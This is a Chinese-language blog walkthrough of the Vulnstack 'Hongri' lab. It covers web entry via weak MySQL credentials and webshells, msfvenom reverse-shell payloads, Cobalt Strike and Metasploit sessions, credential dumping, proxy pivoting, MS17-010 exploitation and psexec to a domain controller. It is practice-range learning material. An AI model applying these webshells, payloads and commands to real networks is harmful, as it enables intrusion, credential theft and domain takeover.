您现在的位置是:首页 >学无止境 >内网域渗透总结(红日靶场一)网站首页学无止境

内网域渗透总结(红日靶场一)

未完成的歌~ 2023-05-16 14:33:33
简介内网域渗透总结(红日靶场一)

一、靶场环境搭建

  • 红日靶场:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
  • 靶机通用密码:hongrisec@2019
  • win7
  • win2003
  • win2008

这个搭建靶场的过程是我经过实际操作(踩坑)总结的最简单省事的方式。

首先创建一个仅主机模式的子网作为内网,地址为:192.168.52.0。我这里是直接修改的VMnet1。

192.168.50.0/24 即 VMnet8 当作靶场里的外网。

在这里插入图片描述
将 windows2003 和 windows2008 两台主机都设置为自定义VMnet1
在这里插入图片描述
win7是边缘主机,对外的公网ip搭建着web服务的同时还连接着内网,因此需要两块网卡。
在这里插入图片描述
注意:这两个网卡的顺序最好和我这个一致,不然有可能内网连不通!即内网网卡要排在前面。
在这里插入图片描述
最后还有我们的kali攻击机, 网络是在 50 段,即外网段。

网络拓扑图:

在这里插入图片描述

二、web渗透

上来先收集一波信息,nmap扫描一下端口

nmap -sV -Pn 192.168.50.133
-sV: 指定让Nmap进行版本侦测
-PN: 跳过Ping扫描阶段

扫描出两个端口80 3306,存在web服务和mysql数据库。
在这里插入图片描述

访问80端口,发现是个phpstudy探针,说明网站是phpstudy搭建的。
在这里插入图片描述
这个页面泄露了很多信息,服务器版本、php版本、绝对路径、管理员邮箱等。

可以在这里检测mysql是否存在弱口令
在这里插入图片描述
测试 root root 发现存在弱口令。因为网站是phpstudy搭建,很可能存在 phpmyadmin 后台,

直接来扫一下目录
在这里插入图片描述
确实存在phpmyadmin,还扫到了一个备份文件,打开发现是yxcms的网站源码,应该部署着这个CMS 。

使用弱口令登进去phpmyadmin,查看数据库是否有导入权限,看能否导入木马

SHOW GLOBAL VARIABLES LIKE '%secure%'

在这里插入图片描述
没有导入权限,查看是否有开启全局日志

SHOW GLOBAL VARIABLES LIKE '%general%'

在这里插入图片描述
全局日志功能关闭,不过可以通过命令开启,并修改日志保存的绝对路径,这里的路径可以在探针页面获得。

SET GLOBAL general_log = ON;# 开启日志
SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php';# 设置日志位置为网站目录

接着向日志文件写shell

select '<?php eval ($_POST[s]);?>'

执行这条语句之后,日志会将select后的查询语句记录进日志,从而让日志变成一个一句话木马。

用蚁剑连接
在这里插入图片描述
连接成功。

我们再来看下部署的CMS,打开网站
在这里插入图片描述
从右下角看到了网站后台的登录地址和默认账号密码,尝试登录
在这里插入图片描述
在这里插入图片描述

成功登录。在前台模板功能里发现可以直接编辑php文件,尝试写入shell。
在这里插入图片描述
随便找一个文件添加一句话
在这里插入图片描述
保存后,接下来就要想办法找到这个info.php所在的目录了,先来扫描一下后台
在这里插入图片描述
点进去发现这个网站还存在目录遍历漏洞
在这里插入图片描述
那就好办了,为了防止疏漏我们直接去看前面扫到的备份文件(如果没有备份文件可以根据网站版本去网上自己下载)
在这里插入图片描述
找到了目标文件,尝试连接。
在这里插入图片描述
成功连接。来看一下拿到的shell是什么权限
在这里插入图片描述
太好了,是管理员权限。

紧接着先把防火墙关了,养成好习惯。

netsh advfirewall set allprofiles state off #win关闭防火墙

1、远程登录

尝试添加一个用户,进行远程登陆

net user qqq qwer@1234 /add # 添加账户密码
net localgroup administrators qqq /add  # 添加为管理员权限
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
# 开启3389端口

在这里插入图片描述
用户添加成功,尝试登录
在这里插入图片描述
成功登录。(如果防火墙没关会登录失败)

2、上线CS:

启动服务
在这里插入图片描述
设置监听:
在这里插入图片描述
生成一个EXE后门
在这里插入图片描述
通过蚁剑上传并执行
在这里插入图片描述
在这里插入图片描述
成功上线。执行sleep 0,不然回显会很慢

sleep 0则表示进入交互模式,任何输入的命令都会被立即执行。

在这里插入图片描述
shell systeminfo 查看系统信息,看到只打了四个补丁,尝试进行提权
在这里插入图片描述
在这里插入图片描述
提权成功。

3、上线MSF:

msf生成木马

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f exe > shell.exe

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.jsp

Python

msfvenom -p cmd/unix/reverse_python LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.pl

在这里插入图片描述
开启msf监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.50.130
set lport 7777
run

在这里插入图片描述
通过蚁剑将生成的木马上传并运行。
在这里插入图片描述
成功上线。再来尝试提一下权:
在这里插入图片描述
因为是administrator用户,所以很容易提权成功。

三、内网信息收集

开始进行内网的信息收集阶段。

获取目标主机的shell,输入chcp 65001可解决乱码问题(或者用蚁剑的终端)。
在这里插入图片描述
看一下路由信息

route print     # 打印路由信息

在这里插入图片描述
可知内网网段应该是 192.168.52.1/24

关于Windows域: 详细信息

Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器(DC)的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 Windows域的概念与工作组的概念形成对比。

首先判断是否在域中,域控制器一般集成了DNS服务,通过 ipconfig /all,即可简单判断。
在这里插入图片描述
该域名为god.org,还可以使用下面这种方式。

net view /domain  #查询当前主机是否加入域,如果加入则列出域名

在这里插入图片描述
查看域内信息

net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域

在这里插入图片描述
接着定位域控:

net time /domain  #同步域控服务器时间

在这里插入图片描述
域控的域名即 owa.god.org ,用 ping 即可反查出域控ip
在这里插入图片描述
得到域控制器IP为192.168.52.138

再来看一下域内的其它主机

net view  #查看与该计算机位于同一工作组或域中的所有计算机名

在这里插入图片描述
这里的 OWA 就是上面的域控,另一个就是域内的其它主机了。

再来看一下域管理员

net group "domain admins" /domain # 查询域管理员

在这里插入图片描述
很幸运,可以看到这里我们获得的 Administration 就是域控OWA的域管理员 。

看一下域里有几个用户

net user /domain  # 查看域用户,只有域管才能执行

在这里插入图片描述
得到5个域用户名。

尝试抓取主机本地的密码:

hashdump  #导出本地用户账号密码,该命令的使用需要系统权限。

在这里插入图片描述
用户哈希数据的输出格式为:

用户名:SID:LM哈希:NTLM哈希:::

得到了三个本地用户账号,分别为 Administrator、Guest 和 liukaifeng01 。

三个账号的LM哈希aad3b435b51404eeaad3b435b51404ee和NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0都是空密码。
在这里插入图片描述
这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。

那就尝试抓取域内的账号密码:利用 msf 的 kiwi 模块 详细介绍

load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用

注意执行需要system权限。

creds_all         #列举所有凭据
creds_kerberos    #列举域内账号密码

在这里插入图片描述
成功得到域账号密码。

目前为止,我们获得的内网信息有:

域名:god.org
域内有五个用户:Administrator、Guest、liukaifeng01、ligang、krbtgt
域内三台主机:OWA、ROOT-TVI862UBEH(192.168.52.141)STU1(win7)
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143

四、横向渗透

为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

1、添加路由、挂上Socks4a代理

使用 msf+proxychains 搭建socks4a隧道。

在之前监听到的shell中设置内网路由

run autoroute -s 192.168.52.0/24  # 添加内网的路由
run autoroute -p  # 查看路由

在这里插入图片描述
开启代理

background

use auxiliary/server/socks4a

set SRVHOST 127.0.0.1(这里因为是本机可以写本地ip)

run

在这里插入图片描述
然后在 proxychains 的配置文件 /etc/proxychains.conf,添加本机的1080端口:

socks4 127.0.0.1 1080

在这里插入图片描述
然后执行命令时,前面加上 proxychains 即可。如:

proxychains ping 192.168.52.141(域成员ip)

在这里插入图片描述
访问成功,下面就开始嚯嚯内网的两台主机。

2、域成员渗透

首先看一下域成员的端口开放情况:

全扫时间有点久,这里因为是练习,就只对高危端口进行扫描

proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.141

在这里插入图片描述

看到135、445是开放的,并且这台终端为 win_2003,32位系统。

常见端口漏洞:

  • 21-FTP,看是否存在匿名访问
  • 22-SSH,看是否存在弱口令
  • 80-HTTP,常见web漏洞
  • 443-openssl,心脏出血
  • 445-smb,ms17-010、ms08-067
  • 3306-mysql,弱口令
  • 1433-mssql,弱口令
  • 1521-oracle,弱口令
  • 3389-远程连接桌面
  • 6379-redis未授权访问,弱口令
  • 8080-tomcat漏洞

这里开放了445端口,看一下是否存在ms17-010
在这里插入图片描述
确实存在漏洞,使用 use exploit/windows/smb/ms17_010_eternalblue 利用,发现只支持打64位系统,不支持32位。

再换一个模块

use auxiliary/admin/smb/ms17_010_command

set COMMAND net user

set RHOST 192.168.52.141

run

在这里插入图片描述
成功执行命令。接着我们来添加一个用户尝试远程登录一下。

还是使用上面的模块,依次执行下面命令

set command net user sss qwer@1234 /add #添加用户
run # 发现用户添加不成功,后来发现是因为有密码设置策略,密码不能太简单。

set command net localgroup administrators sss /add #管理员权限
run 

set command 'REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' 
#开启3389端口
run

set command netsh advfirewall set allprofiles state off #关闭防火墙
run #好像没有防火墙

在这里插入图片描述
然后远程登录

proxychains rdesktop 192.168.52.141

这里注意一定要选这个,因为登陆的是本机。
在这里插入图片描述
成功进来了!
在这里插入图片描述

3、域控渗透

同样的,先扫描一下端口

proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.138

在这里插入图片描述
看到其开启了 80 端口,访问网站,发现是IIS初始网站,没有搭建网站,也不存在敏感目录。先不管它,还是先使用 ms17-010 测试一下。

发现也存在漏洞,同样先使用 use exploit/windows/smb/ms17_010_eternalblue 模块利用,但还是利用不了,猜测可能是防火墙的问题,因为这个系统是64位的。
在这里插入图片描述
再用上面的老方法 use auxiliary/admin/smb/ms17_010_command 发现可以执行。接着添加用户aaa

尝试远程连接
在这里插入图片描述
这里不知道为啥就是登不上,用户确实创建成功了。。。
在这里插入图片描述
防火墙已经关掉了,再来试试 ms17_010_eternalblue,然而还是不行。再换种方法,转战CS。

SMB Beacon:

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线

使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。
在这里插入图片描述
使用条件:

  • 具有 Beacon 的主机必须接受 445 端口上的连接。
  • 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
  • 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

这三条这里全都满足,先执行 net view 发现一下域内主机
在这里插入图片描述
在列表这里出现了域内的这两台主机。
在这里插入图片描述
新建一个 Beacon SMB 监听器,名字随便
在这里插入图片描述
域管右键选择psexec
在这里插入图片描述
在这里插入图片描述
点击运行,成功上线域管,这里顺便把域成员也上线了。可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon。
在这里插入图片描述
🆗,本次的靶场练习到这里就正式完结啦,经过本次打靶学到了很多!

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。